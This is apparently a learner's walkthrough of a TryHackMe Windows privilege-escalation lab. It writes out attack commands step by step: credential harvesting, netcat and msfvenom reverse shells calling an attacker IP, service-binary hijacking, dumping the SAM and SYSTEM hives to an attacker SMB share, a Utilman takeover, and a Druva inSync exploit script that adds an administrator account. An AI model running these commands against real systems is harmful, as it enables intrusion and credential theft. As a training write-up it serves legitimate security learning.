> For the complete documentation index, see [llms.txt](https://kyou00.gitbook.io/xyz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kyou00.gitbook.io/xyz/tryhackme/view/windows-privilege-escalation.md).

# Windows Privilege Escalation

Task 1:

<figure><img src="/files/138mH2ZOsDRtjAygHFEl" alt=""><figcaption></figcaption></figure>

Task 2:&#x20;

<figure><img src="/files/ehlewHUMBQPH2VTLaCFI" alt=""><figcaption></figcaption></figure>

Task 3:&#x20;

{% code overflow="wrap" %}

```
Powershell
type $Env:userprofile\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

CMD
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
```

{% endcode %}

<figure><img src="/files/yWlCtGscg3dWpacQZUp1" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
CMD or Powershell
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString

Youu can change the directory and find where is the web.config
C:\inetpub\wwwroot\web.config
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
```

{% endcode %}

<figure><img src="/files/EepBYhzLEuNfDtzZEc0x" alt=""><figcaption></figcaption></figure>

```
CMD or Powershell
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s
```

<figure><img src="/files/ykYufJwPfKtq71VxbFLO" alt=""><figcaption></figcaption></figure>

```
cmdkey /list
```

<figure><img src="/files/Unfb6o2SYkZgvMzt5sm9" alt=""><figcaption></figcaption></figure>

```
runas /savecred /user:mike.katz cmd.exe
```

<figure><img src="/files/CMCVY5C601unczDMr8fr" alt=""><figcaption></figcaption></figure>

This actually will spawn a shell using user mike.katz

<figure><img src="/files/Pi4pqqgPxx6QbMfvjL8g" alt=""><figcaption></figcaption></figure>

Recap:

We actually have three users&#x20;

<mark style="color:red;">**mike.katz**</mark> from the saved list cuz we have his password and we can use this saved password for to spawn a cmd session as that user

<mark style="color:red;">**thom.smith**</mark> from the putty sessions

<mark style="color:red;">**db\_admin**</mark> from the web.config

**Task 4:**&#x20;

This will  return more details about the task vulntask

This command will return all of the scheduled task in windows

```
schtasks
```

```
schtasks /query /tn vulntask /fo list /v
```

<figure><img src="/files/GdZneaxuob0SX4w6s1kp" alt=""><figcaption></figcaption></figure>

This will return the users that have authority to modify the file like ls -la to a file in linux

```
icacls c:\tasks\schtask.bat
```

<figure><img src="/files/MZjF3lfiPXmNNP6BSimt" alt=""><figcaption></figcaption></figure>

Transfer the netcat to the bat file and run that task

```
Victim
echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat

Attacker
nc -lnvp 4444

Victim
schtasks /run /tn vulntask
```

<figure><img src="/files/KcMcjJKdEWD3U12epP3e" alt=""><figcaption></figcaption></figure>

You will get the reverse shell to user taskuser1

<figure><img src="/files/JNxvb0QGJB3DzfUIu6pv" alt=""><figcaption></figcaption></figure>

Then get the flag in his desktop directory

<figure><img src="/files/v1NLGuYmNi7HrLB09DoV" alt=""><figcaption></figcaption></figure>

* Second Task

```
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
```

<figure><img src="/files/5gR3yjNiNZU4F0Dt8UTi" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.9.193.229 LPORT=4444 -f msi -o malicious.msi
```

{% endcode %}

<figure><img src="/files/8oH8AECnhqU3LC1NYoGl" alt=""><figcaption></figcaption></figure>

```
msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi
```

Task 5:&#x20;

```
sc qc apphostsvc
```

<figure><img src="/files/hC76BfrPGEatOERLzadZ" alt=""><figcaption></figcaption></figure>

All of the services configurations are stored on the registry under `HKLM\SYSTEM\CurrentControlSet\Services\`:

```
windows registry

windows + r = regedit 
```

<figure><img src="/files/ylt6t5DnZZF2FAVffvvp" alt=""><figcaption></figcaption></figure>

* First Task

As you can see here this is the WindowsSchedule service that is being run through WService.exe file

And the user who runs or responsible or the owner of that exe file is svcuser1

<figure><img src="/files/8Kk4wzvsIBb26taBrTz4" alt=""><figcaption></figcaption></figure>

First we have to create our own payload which is just a simple reverse shell&#x20;

{% code overflow="wrap" %}

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.9.193.229 LPORT=4444 -f exe-service -o exe-service.exe
```

{% endcode %}

<figure><img src="/files/32SamN8RofwIxQgzuxrb" alt=""><figcaption></figcaption></figure>

Then get this reverse shell to the victim's machine&#x20;

```
wget http://10.9.193.229:8000/exe-service.exe -o exe-service.exe
```

<figure><img src="/files/5PPt7jwUJzDe8Yer8vkp" alt=""><figcaption></figcaption></figure>

After you move the reverse shell from the attacker machine to victim machine, now we have to inject that reverse shell to the executable&#x20;

Move WService.exe to have a backup

Then move the payload that we created earlier to the WService.exe which is legitimate exe file&#x20;

Using icacls to grant everyone to execute the service

```
cd C:\PROGRA~2\SYSTEM~1\
move WService.exe WService.exe.bkp
move C:\Users\thm-unpriv\exe-service.exe WService.exe
icacls WService.exe /grant Everyone:F
```

<figure><img src="/files/Dh9dqe9kdfmzXIObXd4Q" alt=""><figcaption></figcaption></figure>

You have to stop first the service which is windowsscheduler to reload its executable file

Then starting again the service will execute the malicious executable that we modified earlier

```
C:\> sc stop windowsscheduler
C:\> sc start windowsscheduler
```

<figure><img src="/files/WB0P8yg6V5vgqShWabeM" alt=""><figcaption></figcaption></figure>

Therefore, we will get a shell from our reverse shell payload

```
nc -lnvp 4444
```

<figure><img src="/files/9cen50UayPYwRg1k1rM1" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9efJrAK91oweq1j8nzvy" alt=""><figcaption></figcaption></figure>

* Second Task

As we can see here the service disk sorter enterprise runs by user svcusr2&#x20;

And the directory where the executable file have a spaces in between the words

"Disk Sorter Enterprise"

<figure><img src="/files/1rlYQy3GWyK2vNIt9uI3" alt=""><figcaption></figcaption></figure>

First we are going to see if we have permission to write in the directory where that executable file is located

Using icacls seeing that Users have a write data which dictates that we can modify files in that directory

<figure><img src="/files/2SpjivTVJiCi5qhBVrOf" alt=""><figcaption></figcaption></figure>

We will proceed to make a payload reverse shell&#x20;

<figure><img src="/files/EWGvxED1LnJJtU2GaI7W" alt=""><figcaption></figcaption></figure>

Then just put this into the victim's machine

<figure><img src="/files/W8LMILxy7S1Itkyehhnh" alt=""><figcaption></figcaption></figure>

After that we will proceed to move the reverse shell executable to the MyPrograms directory

Since the program will actually locate the executable file that folder

As it says below the program will actually starts to search for each word in the directory name like in "Disk Sorter Enterprise" the program will look first for the word "Disk"

Which leads to "Disk.exe" and its the same with "Disk Sorter" Disk Sorter.exe

<figure><img src="/files/7ULgrTfp7otNGlXeQ9NZ" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/gYsOQe6RGO3Cht2jF2m0" alt=""><figcaption></figcaption></figure>

Then we will give grant permission to that file so that everyone can execute it like svcusr2

<figure><img src="/files/LMpMZl4JQI0ZXrGUb2vr" alt=""><figcaption></figcaption></figure>

Just stop the service so it refreshes and look again for the executable

<figure><img src="/files/ljs5n1ZxNM26kNEAA9iU" alt=""><figcaption></figcaption></figure>

After you start the service it will run the Disk.exe first since it is the first one that the program located and it will consider it as a legitimate or the right executable file&#x20;

<figure><img src="/files/yae6AMxewDOuZbaoOP5M" alt=""><figcaption></figcaption></figure>

Then we did get our reverse shell and view the flag in the Desktop of that user who runs the service

<figure><img src="/files/HZnvCA8TKHDLBdzCHZmM" alt=""><figcaption></figcaption></figure>

* Third Task

<figure><img src="/files/HHAAEaTkPVMDUtLDBlef" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/KiLGZxmyABR0LPRhK5sK" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/IgG5aQJu2AaZvSVJkh47" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/kshds7QQGAiFn0Qn3Oc4" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/0r4DJO4hCvMBYhtAu0PH" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/k74cU1wIcefGaa3rDpFe" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/CWprvWE7zCjDJxoC3tuJ" alt=""><figcaption></figcaption></figure>

Task 6:&#x20;

* First Task

First we have to see our privilege us administrator/THMBackup user in the victim's machine

We can see that we have SeBackupPrivilige and SeRestorePrivilege&#x20;

*"The SeBackup and SeRestore privileges allow users to read and write to any file in the system, ignoring any DACL in place. The idea behind this privilege is to allow certain users to perform backups from a system without requiring full administrative privileges."*

<figure><img src="/files/NTxErc1eM3UwrBauB7VP" alt=""><figcaption></figcaption></figure>

This will save the system hive into a file name system.hive in the THMBackup directory similar to home directory in linux

It's the same with the second one which is the sam hive or registry. The SAM database contains data like passwords, usernames, user account information, and security descriptors.

<figure><img src="/files/dQ7lqHP06ANqLT390nFN" alt=""><figcaption></figcaption></figure>

```
reg save hklm\system C:\Users\THMBackup\system.hive
reg save hklm\sam C:\Users\THMBackup\sam.hive
```

<figure><img src="/files/ulXUthzraoaPcVCylxzd" alt=""><figcaption></figcaption></figure>

Then we will allow other devices to access to our smbserever using SMB/CIFS (Common Internet File System) procotol

{% code overflow="wrap" %}

```
mkdir share
sudo python3 ~/impacket/examples/smbserver.py -smb2support -username THMBackup -password CopyMaster555 public share
```

{% endcode %}

<figure><img src="/files/uFCJY7mJZaLj83kx6pp0" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/sgXKhsbM04CGel7mshg4" alt=""><figcaption></figcaption></figure>

After we open the smbserver, we need to go back to the victim's machine to execute these commands

The first one is the sam.hive from the home directory will be copied to our attacker machine which is 10.9.193.229\public directory&#x20;

```
copy C:\Users\THMBackup\sam.hive \\10.9.193.229\public\
copy C:\Users\THMBackup\system.hive \\10.9.193.229\public\
```

<figure><img src="/files/pyyNjOC8fQqlG6rKc5SN" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
sudo python3 ~/impacket/examples/smbserver.py -smb2support -username THMBackup -password CopyMaster555 public share
```

{% endcode %}

<figure><img src="/files/ZdlOGDtFhiJtc8WPaZsL" alt=""><figcaption></figcaption></figure>

```
sudo ~/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL
```

<figure><img src="/files/b5UY22TZeOafeFHvJLk9" alt=""><figcaption></figcaption></figure>

* Second Task

As always we first need to get the priviliege of the user that we are using. Which the priviliege is SeTakeOwnerPriviliege, this priviliege can take ownership of any object on the system, including files and registry keys, opening up many possibilities for an attacker to elevate privileges, as we could, for example, search for a service running as SYSTEM and take ownership of the service's executable.

```
whoami /priv
```

<figure><img src="/files/FWJ0fTVV18NUm2pRUQxi" alt=""><figcaption></figcaption></figure>

As you can see here in the information below. The <mark style="color:purple;">utilman.exe</mark> does run with SYSTEM priviliege which is the highest privilege that you can access. It is similar to root since the system user have all access to the files within the system.&#x20;

<figure><img src="/files/nP5PYlpwCFvFiuoI9lN4" alt=""><figcaption></figcaption></figure>

As we know that we have a privilege that can literally take ownership about a certain file we can therefore takeown the Utilman.exe file which was created by the nt system

```
takeown /f C:\Windows\System32\Utilman.exe
```

<figure><img src="/files/dAAe6UzQeHXJbd6PHFR7" alt=""><figcaption></figcaption></figure>

Notice that being the owner of a file doesn't necessarily mean that you have privileges over it, but being the owner you can assign yourself any privileges you need.&#x20;

Just by being the owner of the file doesn't mean that we can already execute the file therefore we should also grant ourselves a full privilege, so that we can do whatever we want with this file.&#x20;

```
icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F
```

<figure><img src="/files/Mgt4Cqp8sx9jDlf2sRBK" alt=""><figcaption></figcaption></figure>

Then we should just copy the cmd.exe similar to /bin/bash in linux into utilman.exe so that whenever the utilman.exe is being used we can get a cmd prompt by user nt system which is the creator of that utilman.exe

<figure><img src="/files/YeGUEIWYl0r5fPFdlyLO" alt=""><figcaption></figcaption></figure>

Then when you lock the screen just proceed to the ease of access where the utilman.exe is being used then you will get a system user. &#x20;

<figure><img src="/files/465MuHPvAYtqMLcfpTh2" alt=""><figcaption></figcaption></figure>

* Third Task

Visit the ip address which is the IIS web server. First you have to know which user are you using.

```
whoami
```

<figure><img src="/files/p9g9QfodAcnC245vFaRV" alt=""><figcaption></figcaption></figure>

Then you can get the privilege for that user as we can see we have a lot of privilege for this user.

```
whoami /priv
```

<figure><img src="/files/UDimm6zCy9aMtPjhfJoo" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
c:\tools\RogueWinRM\RogueWinRM.exe -p "C:\tools\nc64.exe" -a "-e cmd.exe 10.9.193.229 4442"
```

{% endcode %}

<figure><img src="/files/KssP4ewHVyH26VpmHJah" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/iR0QuvKaxNF3F5P3VKUE" alt=""><figcaption></figcaption></figure>

Task 7:

```
wmic product get name,version,vendor
```

<figure><img src="/files/o6TcdLmvQULDL1sABnq1" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
$ErrorActionPreference = "Stop"

$cmd = "net user pwnd SimplePass123 /add & net localgroup administrators pwnd /add"

$s = New-Object System.Net.Sockets.Socket(
    [System.Net.Sockets.AddressFamily]::InterNetwork,
    [System.Net.Sockets.SocketType]::Stream,
    [System.Net.Sockets.ProtocolType]::Tcp
)
$s.Connect("127.0.0.1", 6064)

$header = [System.Text.Encoding]::UTF8.GetBytes("inSync PHC RPCW[v0002]")
$rpcType = [System.Text.Encoding]::UTF8.GetBytes("$([char]0x0005)`0`0`0")
$command = [System.Text.Encoding]::Unicode.GetBytes("C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe /c $cmd");
$length = [System.BitConverter]::GetBytes($command.Length);

$s.Send($header)
$s.Send($rpcType)
$s.Send($length)
$s.Send($command)
```

{% endcode %}

<figure><img src="/files/eylFwwjdMbcWLNTUPmpW" alt=""><figcaption></figcaption></figure>

```
net user pwnd
```

<figure><img src="/files/D9RSyQIanDCq5MMmGuKF" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/5H1NHmv2m9Hvus396ePD" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/I4MpMlicqVodXn7c7BIZ" alt=""><figcaption></figcaption></figure>
